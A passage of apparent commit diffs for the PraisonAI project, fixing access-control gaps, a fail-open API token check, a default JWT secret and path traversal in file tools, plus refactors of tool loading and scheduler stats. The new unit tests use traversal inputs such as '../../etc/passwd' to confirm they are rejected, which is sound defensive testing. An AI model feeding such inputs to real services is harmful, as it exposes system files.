    -    user: AuthIdentity = Depends(require_workspace_member),
    +    user: AuthIdentity = Depends(require_workspace_admin),
         session: AsyncSession = Depends(get_db),
     ):
         ws_svc = WorkspaceService(session)
    @@ -77,7 +83,7 @@ async def update_workspace(
     @router.delete("/{workspace_id}", status_code=status.HTTP_204_NO_CONTENT)
     async def delete_workspace(
         workspace_id: str,
    -    user: AuthIdentity = Depends(require_workspace_member),
    +    user: AuthIdentity = Depends(require_workspace_owner),
         session: AsyncSession = Depends(get_db),
     ):
         ws_svc = WorkspaceService(session)
    @@ -93,10 +99,16 @@ async def delete_workspace(
     async def add_member(
         workspace_id: str,
         body: MemberAdd,
    -    user: AuthIdentity = Depends(require_workspace_member),
    +    user: AuthIdentity = Depends(require_workspace_admin),
         session: AsyncSession = Depends(get_db),
     ):
         member_svc = MemberService(session)
    +    if body.role == "owner":
    +        if not await member_svc.has_role(workspace_id, user.id, "owner"):
    +            raise HTTPException(
    +                status_code=status.HTTP_403_FORBIDDEN,
    +                detail="Only owners can add another owner",
    +            )
         member = await member_svc.add(workspace_id, body.user_id, body.role)
         return MemberResponse.model_validate(member)
     
    @@ -117,10 +129,32 @@ async def update_member_role(
         workspace_id: str,
         user_id: str,
         body: MemberUpdate,
    -    user: AuthIdentity = Depends(require_workspace_member),
    +    user: AuthIdentity = Depends(require_workspace_admin),
         session: AsyncSession = Depends(get_db),
     ):
         member_svc = MemberService(session)
    +    target = await member_svc.get(workspace_id, user_id)
    +    if target is None:
    +        raise HTTPException(status_code=404, detail="Member not found")
    +    if user_id == user.id and body.role != target.role:
    +        raise HTTPException(
    +            status_code=status.HTTP_403_FORBIDDEN,
    +            detail="Cannot change your own role",
    +        )
    +    if body.role == "owner" and not await member_svc.has_role(
    +        workspace_id, user.id, "owner"
    +    ):
    +        raise HTTPException(
    +            status_code=status.HTTP_403_FORBIDDEN,
    +            detail="Only owners can assign the owner role",
    +        )
    +    if target.role == "owner" and not await member_svc.has_role(
    +        workspace_id, user.id, "owner"
    +    ):
    +        raise HTTPException(
    +            status_code=status.HTTP_403_FORBIDDEN,
    +            detail="Only owners can change an owner's role",
    +        )
         member = await member_svc.update_role(workspace_id, user_id, body.role)
         if member is None:
             raise HTTPException(status_code=404, detail="Member not found")
    @@ -131,10 +165,25 @@ async def update_member_role(
     async def remove_member(
         workspace_id: str,
         user_id: str,
    -    user: AuthIdentity = Depends(require_workspace_member),
    +    user: AuthIdentity = Depends(require_workspace_admin),
         session: AsyncSession = Depends(get_db),
     ):
         member_svc = MemberService(session)
    +    if user_id == user.id:
    +        raise HTTPException(
    +            status_code=status.HTTP_403_FORBIDDEN,
    +            detail="Cannot remove yourself from the workspace",
    +        )
    +    target = await member_svc.get(workspace_id, user_id)
    +    if target is None:
    +        raise HTTPException(status_code=404, detail="Member not found")
    +    if target.role == "owner" and not await member_svc.has_role(
    +        workspace_id, user.id, "owner"
    +    ):
    +        raise HTTPException(
    +            status_code=status.HTTP_403_FORBIDDEN,
    +            detail="Only owners can remove an owner",
    +        )
         removed = await member_svc.remove(workspace_id, user_id)
         if not removed:
             raise HTTPException(status_code=404, detail="Member not found")
    
  • src/praisonai-platform/praisonai_platform/services/auth_service.py+4 0 modified
    @@ -113,6 +113,10 @@ async def login(self, email: str, password: str) -> Optional[tuple[User, str]]:
     
         def _issue_token(self, user: User) -> str:
             """Issue a JWT for a user."""
    +        if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev":
    +            raise RuntimeError(
    +                "Refusing to issue JWT with default PLATFORM_JWT_SECRET outside dev"
    +            )
             now = datetime.now(timezone.utc)
             payload = {
                 "sub": user.id,
    
  • src/praisonai-platform/tests/test_workspace_rbac.py+18 0 added
    @@ -0,0 +1,18 @@
    +"""Workspace member RBAC and cross-workspace IDOR guards."""
    +
    +from __future__ import annotations
    +
    +import pytest
    +from fastapi import HTTPException
    +
    +from praisonai_platform.api.deps import ensure_resource_in_workspace
    +
    +
    +def test_ensure_resource_in_workspace_rejects_mismatch():
    +    with pytest.raises(HTTPException) as exc:
    +        ensure_resource_in_workspace("ws-a", "ws-b", label="Issue")
    +    assert exc.value.status_code == 404
    +
    +
    +def test_ensure_resource_in_workspace_allows_match():
    +    ensure_resource_in_workspace("ws-a", "ws-a", label="Issue")
    
  • src/praisonai/praisonai/api/agent_invoke.py+14 2 modified
    @@ -29,14 +29,26 @@
     # Authentication
     import os
     CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')
    +_CALL_AUTH_DISABLED = os.getenv('PRAISONAI_CALL_AUTH', '').lower() == 'disabled'
    +
     
     async def verify_token(
         request: Request, 
         authorization: Optional[str] = Header(None)
     ) -> None:
         """Verify API token for authentication."""
    -    if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:
    -        return  # No authentication if FastAPI unavailable or no token set
    +    if not FASTAPI_AVAILABLE:
    +        return
    +    if _CALL_AUTH_DISABLED:
    +        return
    +    if not CALL_SERVER_TOKEN:
    +        raise HTTPException(
    +            status_code=503,
    +            detail=(
    +                "CALL_SERVER_TOKEN is not configured. Set CALL_SERVER_TOKEN or "
    +                "PRAISONAI_CALL_AUTH=disabled to run without authentication."
    +            ),
    +        )
             
         token = None
         
    
  • src/praisonai/praisonai/code/tools/write_file.py+10 11 modified
    @@ -58,9 +58,10 @@ def write_file(
             >>> if result['success']:
             ...     print(f"Wrote to {result['path']}")
         """
    -    # Resolve path
    -    if workspace and not os.path.isabs(path):
    -        abs_path = os.path.abspath(os.path.join(workspace, path))
    +    # Resolve path — default workspace is cwd so relative paths cannot escape
    +    effective_workspace = workspace or os.getcwd()
    +    if not os.path.isabs(path):
    +        abs_path = os.path.abspath(os.path.join(effective_workspace, path))
         else:
             abs_path = os.path.abspath(path)
         
    @@ -73,14 +74,12 @@ def write_file(
                 'path': path,
             }
     
    -    # Security check - ensure path is within workspace if specified
    -    if workspace:
    -        if not is_path_within_directory(abs_path, workspace):
    -            return {
    -                'success': False,
    -                'error': f"Path '{path}' is outside the workspace",
    -                'path': path,
    -            }
    +    if not is_path_within_directory(abs_path, effective_workspace):
    +        return {
    +            'success': False,
    +            'error': f"Path '{path}' is outside the workspace",
    +            'path': path,
    +        }
         
         # Process content
         processed_content = content
    
  • src/praisonai/praisonai/mcp_server/adapters/cli_tools.py+33 5 modified
    @@ -21,6 +21,31 @@
     logger = logging.getLogger(__name__)
     
     
    +def _resolve_cwd_yaml_path(file_path: str) -> "Path":
    +    """Resolve a YAML path strictly inside the current working directory."""
    +    from pathlib import Path
    +
    +    if not isinstance(file_path, str) or not file_path:
    +        raise ValueError("file_path must be a non-empty string")
    +    if (
    +        "/" in file_path
    +        or "\\" in file_path
    +        or "\x00" in file_path
    +        or file_path.startswith(".")
    +        or file_path in ("..", ".")
    +    ):
    +        raise ValueError(f"invalid file_path: {file_path!r}")
    +    if not file_path.endswith((".yaml", ".yml")):
    +        raise ValueError("file_path must be a .yaml or .yml file")
    +    base = Path.cwd().resolve()
    +    candidate = (base / file_path).resolve()
    +    try:
    +        candidate.relative_to(base)
    +    except ValueError as exc:
    +        raise ValueError(f"invalid file_path: {file_path!r}") from exc
    +    return candidate
    +
    +
     def register_cli_tools() -> None:
         """Register CLI-based MCP tools."""
         
    @@ -44,7 +69,8 @@ def workflow_validate(file_path: str) -> str:
             """Validate a workflow YAML file."""
             try:
                 import yaml
    -            with open(file_path, 'r') as f:
    +            yaml_path = _resolve_cwd_yaml_path(file_path)
    +            with open(yaml_path, 'r') as f:
                     config = yaml.safe_load(f)
                 
                 required = ["framework", "topic"]
    @@ -64,9 +90,10 @@ def workflow_validate(file_path: str) -> str:
         def workflow_show(file_path: str) -> str:
             """Show workflow configuration."""
             try:
    -            with open(file_path, 'r') as f:
    -                content = f.read()
    -            return content
    +            yaml_path = _resolve_cwd_yaml_path(file_path)
    +            return yaml_path.read_text()
    +        except ValueError as e:
    +            return f"Error: {e}"
             except FileNotFoundError:
                 return f"File not found: {file_path}"
             except Exception as e:
    @@ -417,7 +444,8 @@ def deploy_validate(config_path: str = "deploy.yaml") -> str:
             """Validate deployment configuration."""
             try:
                 import yaml
    -            with open(config_path, 'r') as f:
    +            yaml_path = _resolve_cwd_yaml_path(config_path)
    +            with open(yaml_path, 'r') as f:
                     config = yaml.safe_load(f)
                 
                 required = ["name", "type"]
    
  • src/praisonai/tests/unit/code/test_write_file_workspace.py+23 0 added
    @@ -0,0 +1,23 @@
    +"""write_file must constrain paths when workspace is omitted."""
    +
    +from __future__ import annotations
    +
    +import os
    +
    +from praisonai.code.tools.write_file import write_file
    +
    +
    +def test_write_file_without_workspace_stays_in_cwd(tmp_path, monkeypatch):
    +    monkeypatch.chdir(tmp_path)
    +    ok = write_file("out.txt", "hello", workspace=None)
    +    assert ok["success"] is True
    +    assert (tmp_path / "out.txt").read_text() == "hello"
    +
    +
    +def test_write_file_without_workspace_blocks_escape(tmp_path, monkeypatch):
    +    project = tmp_path / "project"
    +    project.mkdir()
    +    monkeypatch.chdir(project)
    +    result = write_file("../outside.txt", "nope", workspace=None)
    +    assert result["success"] is False
    +    assert "outside" in result["error"].lower()
    
  • src/praisonai/tests/unit/mcp_server/test_cli_tools_path_hardening.py+21 0 added
    @@ -0,0 +1,21 @@
    +"""MCP CLI tools must not read arbitrary filesystem paths."""
    +
    +from __future__ import annotations
    +
    +import pytest
    +
    +
    +def test_resolve_cwd_yaml_rejects_traversal(tmp_path, monkeypatch):
    +    monkeypatch.chdir(tmp_path)
    +    from praisonai.mcp_server.adapters import cli_tools
    +
    +    (tmp_path / "workflow.yaml").write_text("framework: test\ntopic: t\n")
    +
    +    path = cli_tools._resolve_cwd_yaml_path("workflow.yaml")
    +    assert path.name == "workflow.yaml"
    +
    +    with pytest.raises(ValueError):
    +        cli_tools._resolve_cwd_yaml_path("../../etc/passwd")
    +
    +    with pytest.raises(ValueError):
    +        cli_tools._resolve_cwd_yaml_path("/etc/passwd")
    
  • src/praisonai/tests/unit/test_call_server_auth.py+40 0 added
    @@ -0,0 +1,40 @@
    +"""Call server agent API must not fail open without CALL_SERVER_TOKEN."""
    +
    +from __future__ import annotations
    +
    +import importlib
    +import os
    +
    +import pytest
    +
    +pytest.importorskip("fastapi")
    +
    +
    +@pytest.mark.asyncio
    +async def test_verify_token_requires_token_by_default(monkeypatch):
    +    monkeypatch.delenv("CALL_SERVER_TOKEN", raising=False)
    +    monkeypatch.delenv("PRAISONAI_CALL_AUTH", raising=False)
    +
    +    mod = importlib.import_module("praisonai.api.agent_invoke")
    +    importlib.reload(mod)
    +
    +    class _Req:
    +        query_params = {}
    +
    +    with pytest.raises(Exception) as exc:
    +        await mod.verify_token(_Req(), authorization=None)
    +    assert "CALL_SERVER_TOKEN" in str(exc.value)
    +
    +
    +@pytest.mark.asyncio
    +async def test_verify_token_optout(monkeypatch):
    +    monkeypatch.delenv("CALL_SERVER_TOKEN", raising=False)
    +    monkeypatch.setenv("PRAISONAI_CALL_AUTH", "disabled")
    +
    +    mod = importlib.import_module("praisonai.api.agent_invoke")
    +    importlib.reload(mod)
    +
    +    class _Req:
    +        query_params = {}
    +
    +    await mod.verify_token(_Req(), authorization=None)
    
7efd0075dab1

fix: resolve architectural gaps in src/praisonai/praisonai (#1658)

https://github.com/MervinPraison/PraisonAIpraisonai-triage-agent[bot]May 13, 2026Fixed in 4.6.38via llm-release-walk
3 files changed · +127 78
  • src/praisonai/praisonai/agents_generator.py+20 51 modified
    @@ -448,36 +448,6 @@ def load_tools_from_package(self, package_path):
                         tools_dict[name] = obj
             return tools_dict
     
    -    def load_tools_from_tools_py(self):
    -        """
    -        Imports and returns all contents from tools.py file.
    -        Uses the tool registry instead of global namespace pollution.
    -
    -        Returns:
    -            list: A list of callable functions with proper formatting
    -        """
    -        tools_list = []
    -        try:
    -            # Try to import tools.py from current directory using safe loading
    -            from ._safe_loader import load_user_module
    -            module = load_user_module("tools.py", name="tools")
    -            if module is None:
    -                self.logger.debug("tools.py not found or local tools loading disabled")
    -                return tools_list
    -
    -            # Register functions in the tool registry instead of globals()
    -            registered_tools = self.tool_registry.register_from_module(module)
    -            tools_list = [self.tool_registry.get_function(name) for name in registered_tools]
    -
    -            self.logger.debug(f"Loaded {len(tools_list)} tool functions from tools.py")
    -            self.logger.debug(f"Registered tools: {registered_tools}")
    -            
    -        except FileNotFoundError:
    -            self.logger.debug("tools.py not found in current directory")
    -        except Exception as e:
    -            self.logger.warning(f"Error loading tools from tools.py: {e}")
    -            
    -        return tools_list
     
         def generate_crew_and_kickoff(self):
             """
    @@ -587,12 +557,10 @@ def generate_crew_and_kickoff(self):
             tools_py_path = os.path.join(root_directory, 'tools.py')
             tools_dir_path = Path(root_directory) / 'tools'
             
    +        # Use consolidated ToolResolver for tools.py loading
    +        tools_dict.update(self.tool_resolver.get_local_tool_classes())
             if os.path.isfile(tools_py_path):
    -            from ._safe_loader import load_user_module
    -            module = load_user_module(tools_py_path, name="tools_module")
    -            if module is not None:
    -                tools_dict.update(self._extract_tool_classes(module))
    -                self.logger.debug("tools.py exists in the root directory. Loading tools.py and skipping tools folder.")
    +            self.logger.debug("tools.py exists in the root directory. Loading tools.py and skipping tools folder.")
             elif tools_dir_path.is_dir():
                 from ._safe_loader import load_user_module
                 for py_file in tools_dir_path.glob("*.py"):
    @@ -1195,8 +1163,8 @@ def _run_praisonai(self, config, topic, tools_dict):
     
             # Use existing tool resolver instance
             
    -        # Load tools from local tools.py (backward compat)
    -        tools_list = self.load_tools_from_tools_py()
    +        # Load tools from local tools.py (backward compat) - use consolidated ToolResolver
    +        tools_list = self.tool_resolver.get_local_callables()
             self.logger.debug(f"Loaded tools from tools.py: {tools_list}")
     
             # Initialize InteractiveRuntime for ACP/LSP if enabled globally
    @@ -1224,25 +1192,24 @@ def _run_praisonai(self, config, topic, tools_dict):
                     
                     # Create a scoped event loop instead of modifying process globals
                     interactive_loop = asyncio.new_event_loop()
    -                try:
    -                    interactive_loop.run_until_complete(interactive_runtime.start())
    -                    
    -                    centric_tools = create_agent_centric_tools(interactive_runtime)
    -                    self.logger.info(f"Loaded {len(centric_tools)} InteractiveRuntime tools")
    -                    tools_list.extend(centric_tools)
    -                    
    -                finally:
    -                    try:
    -                        interactive_loop.run_until_complete(interactive_runtime.stop())
    -                    except Exception as stop_error:
    -                        self.logger.warning(f"Error stopping InteractiveRuntime: {stop_error}")
    -                    finally:
    -                        interactive_loop.close()
    +                
    +                # Start the runtime but keep it alive for agent execution
    +                interactive_loop.run_until_complete(interactive_runtime.start())
    +                
    +                centric_tools = create_agent_centric_tools(interactive_runtime)
    +                self.logger.info(f"Loaded {len(centric_tools)} InteractiveRuntime tools")
    +                tools_list.extend(centric_tools)
                     
                 except ImportError as e:
                     self.logger.warning(f"Failed to load InteractiveRuntime components: {e}")
    +                interactive_runtime = None
    +                interactive_loop = None
                 except Exception as e:
                     self.logger.error(f"Error starting InteractiveRuntime: {e}")
    +                if 'interactive_loop' in locals() and interactive_loop is not None:
    +                    interactive_loop.close()
    +                interactive_runtime = None
    +                interactive_loop = None
     
             # Create agents from config
             for role, details in config['roles'].items():
    @@ -1482,6 +1449,8 @@ def _run_praisonai(self, config, topic, tools_dict):
                         interactive_loop.run_until_complete(interactive_runtime.stop())
                     except Exception as e:
                         self.logger.error(f"Error stopping InteractiveRuntime: {e}")
    +                finally:
    +                    interactive_loop.close()
             
             if AGENTOPS_AVAILABLE:
                 import agentops
    
  • src/praisonai/praisonai/framework_adapters/autogen_adapter.py+48 6 modified
    @@ -5,7 +5,7 @@
     """
     
     import logging
    -from typing import Dict, List, Any
    +from typing import Dict, List, Any, Optional, Callable
     from .base import BaseFrameworkAdapter
     
     logger = logging.getLogger(__name__)
    @@ -26,14 +26,28 @@ def is_available(self) -> bool:
             except ImportError:
                 return False
         
    -    def run(self, config: Dict[str, Any], llm_config: List[Dict], topic: str) -> str:
    +    def run(
    +        self,
    +        config: Dict[str, Any],
    +        llm_config: List[Dict],
    +        topic: str,
    +        *,
    +        tools_dict: Optional[Dict[str, Any]] = None,
    +        agent_callback: Optional[Callable] = None,
    +        task_callback: Optional[Callable] = None,
    +        cli_config: Optional[Dict[str, Any]] = None,
    +    ) -> str:
             """
             Run AutoGen v0.2 with given configuration.
             
             Args:
                 config: AutoGen configuration with agents
                 llm_config: LLM configuration list
                 topic: Topic for the tasks
    +            tools_dict: Available tools dictionary
    +            agent_callback: Callback for agent events
    +            task_callback: Callback for task events
    +            cli_config: CLI configuration
                 
             Returns:
                 Execution result as string
    @@ -110,14 +124,28 @@ def is_available(self) -> bool:
             except ImportError:
                 return False
         
    -    def run(self, config: Dict[str, Any], llm_config: List[Dict], topic: str) -> str:
    +    def run(
    +        self,
    +        config: Dict[str, Any],
    +        llm_config: List[Dict],
    +        topic: str,
    +        *,
    +        tools_dict: Optional[Dict[str, Any]] = None,
    +        agent_callback: Optional[Callable] = None,
    +        task_callback: Optional[Callable] = None,
    +        cli_config: Optional[Dict[str, Any]] = None,
    +    ) -> str:
             """
             Run AutoGen v0.4 with given configuration.
             
             Args:
                 config: AutoGen v0.4 configuration with agents
                 llm_config: LLM configuration list
                 topic: Topic for the tasks
    +            tools_dict: Available tools dictionary
    +            agent_callback: Callback for agent events
    +            task_callback: Callback for task events
    +            cli_config: CLI configuration
                 
             Returns:
                 Execution result as string
    @@ -128,7 +156,7 @@ def run(self, config: Dict[str, Any], llm_config: List[Dict], topic: str) -> str
             # For now, return a proper error message instead of delegating
             # TODO: Implement full AutoGen v0.4 adapter logic
             logger.warning("AutoGen v0.4 adapter is not yet fully implemented")
    -        return "### AutoGen v0.4 Output ###\nAutoGen v0.4 adapter is not yet fully implemented. Please use 'autogen' framework for AutoGen v0.2 support."
    +        raise NotImplementedError("AutoGen v0.4 adapter is not yet fully implemented. Please use 'autogen' framework for AutoGen v0.2 support.")
     
     
     class AG2Adapter(BaseFrameworkAdapter):
    @@ -148,14 +176,28 @@ def is_available(self) -> bool:
             except Exception:
                 return False
         
    -    def run(self, config: Dict[str, Any], llm_config: List[Dict], topic: str) -> str:
    +    def run(
    +        self,
    +        config: Dict[str, Any],
    +        llm_config: List[Dict],
    +        topic: str,
    +        *,
    +        tools_dict: Optional[Dict[str, Any]] = None,
    +        agent_callback: Optional[Callable] = None,
    +        task_callback: Optional[Callable] = None,
    +        cli_config: Optional[Dict[str, Any]] = None,
    +    ) -> str:
             """
             Run AG2 with given configuration.
             
             Args:
                 config: AG2 configuration with agents
                 llm_config: LLM configuration list  
                 topic: Topic for the tasks
    +            tools_dict: Available tools dictionary
    +            agent_callback: Callback for agent events
    +            task_callback: Callback for task events
    +            cli_config: CLI configuration
                 
             Returns:
                 Execution result as string
    @@ -166,4 +208,4 @@ def run(self, config: Dict[str, Any], llm_config: List[Dict], topic: str) -> str
             # For now, return a proper error message instead of delegating
             # TODO: Implement full AG2 adapter logic
             logger.warning("AG2 adapter is not yet fully implemented")
    -        return "### AG2 Output ###\nAG2 adapter is not yet fully implemented. Please use 'autogen' framework for AutoGen/AG2 support."
    \ No newline at end of file
    +        raise NotImplementedError("AG2 adapter is not yet fully implemented. Please use 'autogen' framework for AutoGen/AG2 support.")
    \ No newline at end of file
    
  • src/praisonai/praisonai/tool_resolver.py+59 21 modified
    @@ -30,6 +30,7 @@
     from pathlib import Path
     from typing import Any, Callable, Dict, List, Mapping, Optional
     from types import MappingProxyType
    +from ._safe_loader import load_user_module
     
     logger = logging.getLogger(__name__)
     
    @@ -74,31 +75,16 @@ def _load_local_tools(self) -> Mapping[str, Callable]:
                 if self._local_tools_loaded:  # Double-check inside lock
                     return self._local_tools_cache
                 
    -            # Security: Require explicit opt-in for local tools loading
    -            if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
    -                logger.debug("Local tools loading disabled. Set PRAISONAI_ALLOW_LOCAL_TOOLS=true to enable.")
    -                self._local_tools_cache = MappingProxyType({})
    -                self._local_tools_loaded = True
    -                return self._local_tools_cache
    -            
                 tools_path = Path(self._tools_py_path)
    -            if not tools_path.exists():
    -                logger.debug(f"No local tools.py found at {tools_path}")
    -                self._local_tools_cache = MappingProxyType({})
    -                self._local_tools_loaded = True
    -                return self._local_tools_cache
    -            
                 try:
    -                spec = importlib.util.spec_from_file_location("tools", str(tools_path))
    -                if spec is None or spec.loader is None:
    -                    logger.warning(f"Could not load spec for {tools_path}")
    +                # Use the same safe loader as other tools.py loading paths
    +                module = load_user_module(self._tools_py_path, name="tools")
    +                if module is None:
    +                    logger.debug(f"Local tools loading disabled or tools.py not found at {self._tools_py_path}")
                         self._local_tools_cache = MappingProxyType({})
                         self._local_tools_loaded = True
                         return self._local_tools_cache
                     
    -                module = importlib.util.module_from_spec(spec)
    -                spec.loader.exec_module(module)
    -                
                     # Build cache locally, then freeze
                     cache: Dict[str, Callable] = {}
                     for name, obj in inspect.getmembers(module):
    @@ -108,13 +94,13 @@ def _load_local_tools(self) -> Mapping[str, Callable]:
                             cache[name] = obj
                             logger.debug(f"Loaded local tool: {name}")
                     
    -                logger.info(f"Loaded {len(cache)} tools from {tools_path}")
    +                logger.info(f"Loaded {len(cache)} tools from {self._tools_py_path}")
                     
                     # Create immutable view to prevent concurrent modification
                     self._local_tools_cache = MappingProxyType(cache)
                     
                 except Exception as e:
    -                logger.warning(f"Error loading tools from {tools_path}: {e}")
    +                logger.warning(f"Error loading tools from {self._tools_py_path}: {e}")
                     self._local_tools_cache = MappingProxyType({})
                 
                 self._local_tools_loaded = True
    @@ -381,6 +367,58 @@ def clear_cache(self) -> None:
             with self._local_tools_lock:
                 self._local_tools_cache = MappingProxyType({})
                 self._local_tools_loaded = False
    +    
    +    def get_local_callables(self) -> List[Callable]:
    +        """Get functions exposed by tools.py (path A semantics).
    +        
    +        Returns:
    +            List of callable functions from tools.py
    +        """
    +        local_tools = self._load_local_tools()
    +        return list(local_tools.values())
    +    
    +    def get_local_tool_classes(self) -> Dict[str, Any]:
    +        """Get BaseTool/langchain class instances from tools.py (path B semantics).
    +        
    +        Returns:
    +            Dictionary mapping class names to instantiated tool objects
    +        """
    +        try:
    +            # Use the same safe loader to get the module
    +            module = load_user_module(self._tools_py_path, name="tools_module")
    +            if module is None:
    +                return {}
    +            
    +            # Import the necessary classes (matching agents_generator.py logic)
    +            BaseTool = None
    +            PRAISONAI_TOOLS_AVAILABLE = False
    +            try:
    +                from praisonai_tools import BaseTool
    +                PRAISONAI_TOOLS_AVAILABLE = True
    +            except ImportError:
    +                try:
    +                    from praisonai.tools import BaseTool
    +                    PRAISONAI_TOOLS_AVAILABLE = True
    +                except ImportError:
    +                    pass
    +            
    +            result = {}
    +            for name, obj in inspect.getmembers(module, 
    +                lambda x: inspect.isclass(x) and (
    +                    x.__module__.startswith('langchain_community.tools') or 
    +                    (PRAISONAI_TOOLS_AVAILABLE and BaseTool and issubclass(x, BaseTool))
    +                ) and x is not BaseTool):
    +                try:
    +                    result[name] = obj()
    +                    logger.debug(f"Loaded local tool class: {name}")
    +                except Exception as e:
    +                    logger.warning(f"Error instantiating tool class {name}: {e}")
    +                    continue
    +            
    +            return result
    +        except Exception as e:
    +            logger.warning(f"Error loading tool classes from {self._tools_py_path}: {e}")
    +            return {}
     
     
     # Convenience functions that construct resolver explicitly (no global singleton)
    
80c78071fc86

fix: resolve critical correctness, concurrency, and safety gaps (#1637)

https://github.com/MervinPraison/PraisonAIpraisonai-triage-agent[bot]May 9, 2026Fixed in 4.6.38via llm-release-walk
3 files changed · +64 39
  • src/praisonai/praisonai/agents_generator.py+28 23 modified
    @@ -43,10 +43,12 @@
     # Check for additional framework availability
     AG2_AVAILABLE = False
     PRAISONAI_AVAILABLE = False
    +AGENTOPS_AVAILABLE = False
     try:
         import importlib.util
         AG2_AVAILABLE = importlib.util.find_spec("ag2") is not None
         PRAISONAI_AVAILABLE = importlib.util.find_spec("praisonaiagents") is not None
    +    AGENTOPS_AVAILABLE = importlib.util.find_spec("agentops") is not None
     except ImportError:
         pass
     
    @@ -375,20 +377,19 @@ def is_function_or_decorated(self, obj):
     
         def load_tools_from_module(self, module_path):
             """
    -        Loads tools from a specified module path.
    +        Load function tools from a user-supplied module (gated by PRAISONAI_ALLOW_LOCAL_TOOLS).
     
             Parameters:
                 module_path (str): The path to the module containing the tools.
     
             Returns:
                 dict: A dictionary containing the names of the tools as keys and the corresponding functions or objects as values.
    -
    -        Raises:
    -            FileNotFoundError: If the specified module path does not exist.
    +                  Returns an empty dict if the module cannot be loaded (path missing, loading blocked by PRAISONAI_ALLOW_LOCAL_TOOLS, or any other load error).
             """
    -        spec = importlib.util.spec_from_file_location("tools_module", module_path)
    -        module = importlib.util.module_from_spec(spec)
    -        spec.loader.exec_module(module)
    +        from ._safe_loader import load_user_module
    +        module = load_user_module(module_path, name="tools_module")
    +        if module is None:
    +            return {}
             return {name: obj for name, obj in inspect.getmembers(module, self.is_function_or_decorated)}
         
         def _extract_tool_classes(self, module):
    @@ -411,21 +412,13 @@ def _extract_tool_classes(self, module):
         
         def load_tools_from_module_class(self, module_path):
             """
    -        Loads tools from a specified module path containing classes that inherit from BaseTool 
    -        or are part of langchain_community.tools package.
    +        Load BaseTool / langchain tool classes from a user-supplied module (gated by PRAISONAI_ALLOW_LOCAL_TOOLS).
             """
    -        spec = importlib.util.spec_from_file_location("tools_module", module_path)
    -        module = importlib.util.module_from_spec(spec)
    -        try:
    -            spec.loader.exec_module(module)
    -            return {name: obj() for name, obj in inspect.getmembers(module, 
    -                lambda x: inspect.isclass(x) and (
    -                    x.__module__.startswith('langchain_community.tools') or 
    -                    (PRAISONAI_TOOLS_AVAILABLE and BaseTool and issubclass(x, BaseTool))
    -                ) and x is not BaseTool)}
    -        except ImportError as e:
    -            self.logger.warning(f"Error loading tools from {module_path}: {e}")
    +        from ._safe_loader import load_user_module
    +        module = load_user_module(module_path, name="tools_module")
    +        if module is None:
                 return {}
    +        return self._extract_tool_classes(module)
     
         def load_tools_from_package(self, package_path):
             """
    @@ -784,7 +777,11 @@ def _run_autogen(self, config, topic, tools_dict):
             result = "### Output ###\n" + response[-1].summary if hasattr(response[-1], 'summary') else ""
             
             if AGENTOPS_AVAILABLE:
    -            agentops.end_session("Success")
    +            import agentops
    +            try:
    +                agentops.end_session("Success")
    +            except Exception as e:  # noqa: BLE001 -- agentops errors must not crash the caller
    +                self.logger.warning(f"agentops.end_session failed: {e}")
                 
             return result
     
    @@ -1171,7 +1168,11 @@ def _run_crewai(self, config, topic, tools_dict):
             result = f"### Task Output ###\n{response}"
             
             if AGENTOPS_AVAILABLE:
    -            agentops.end_session("Success")
    +            import agentops
    +            try:
    +                agentops.end_session("Success")
    +            except Exception as e:  # noqa: BLE001 -- agentops errors must not crash the caller
    +                self.logger.warning(f"agentops.end_session failed: {e}")
                 
             return result
     
    @@ -1479,6 +1480,10 @@ def _run_praisonai(self, config, topic, tools_dict):
                         self.logger.error(f"Error stopping InteractiveRuntime: {e}")
             
             if AGENTOPS_AVAILABLE:
    -            agentops.end_session("Success")
    +            import agentops
    +            try:
    +                agentops.end_session("Success")
    +            except Exception as e:  # noqa: BLE001 -- agentops errors must not crash the caller
    +                self.logger.warning(f"agentops.end_session failed: {e}")
                 
             return result
    
  • src/praisonai/praisonai/async_agent_scheduler.py+34 14 modified
    @@ -250,10 +250,21 @@ async def stop(self) -> bool:
                 self.is_running = False
             
             logger.info("Async agent scheduler stopped")
    -        logger.info(f"Execution stats - Total: {self._execution_count}, Success: {self._success_count}, Failed: {self._failure_count}")
    +        
    +        # Log final stats with consistent snapshot
    +        if self._stats_lock is not None:
    +            async with self._stats_lock:
    +                total = self._execution_count
    +                ok = self._success_count
    +                fail = self._failure_count
    +        else:
    +            total = self._execution_count
    +            ok = self._success_count
    +            fail = self._failure_count
    +        logger.info(f"Execution stats - Total: {total}, Success: {ok}, Failed: {fail}")
             return True
         
    -    def get_stats(self) -> Dict[str, Any]:
    +    async def get_stats(self) -> Dict[str, Any]:
             """
             Get current execution statistics (synchronous, best-effort).
             
    @@ -264,12 +275,26 @@ def get_stats(self) -> Dict[str, Any]:
             Returns:
                 Dictionary with execution stats
             """
    +        # Primitives are created lazily in _ensure_async_primitives(); if not yet
    +        # initialized there are no concurrent writers, so a direct read is safe.
    +        if self._stats_lock is not None:
    +            async with self._stats_lock:
    +                total = self._execution_count
    +                ok = self._success_count
    +                fail = self._failure_count
    +                running = self.is_running
    +        else:
    +            total = self._execution_count
    +            ok = self._success_count
    +            fail = self._failure_count
    +            running = self.is_running
    +            
             return {
    -            "is_running": self.is_running,
    -            "total_executions": self._execution_count,
    -            "successful_executions": self._success_count,
    -            "failed_executions": self._failure_count,
    -            "success_rate": (self._success_count / self._execution_count * 100) if self._execution_count > 0 else 0
    +            "is_running": running,
    +            "total_executions": total,
    +            "successful_executions": ok,
    +            "failed_executions": fail,
    +            "success_rate": (ok / total * 100) if total > 0 else 0
             }
         
         async def get_stats_async(self) -> Dict[str, Any]:
    @@ -327,11 +352,8 @@ async def _run_schedule(self, interval: int, max_retries: int):
         
         async def _execute_with_retry(self, max_retries: int):
             """Execute agent with retry logic."""
    -        # Ensure async primitives are available
    -        if self._stats_lock is None:
    -            self._ensure_async_primitives()
    -        
    -        # Atomically increment execution count
    +        self._ensure_async_primitives()  # guarantees _stats_lock is bound to current loop
    +
             async with self._stats_lock:
                 self._execution_count += 1
             
    @@ -344,7 +366,6 @@ async def _execute_with_retry(self, max_retries: int):
                     logger.info(f"Async agent execution successful on attempt {attempt + 1}")
                     logger.info(f"Result: {result}")
                     
    -                # Atomically increment success count
                     async with self._stats_lock:
                         self._success_count += 1
                     safe_call(self.on_success, result)
    @@ -359,7 +380,6 @@ async def _execute_with_retry(self, max_retries: int):
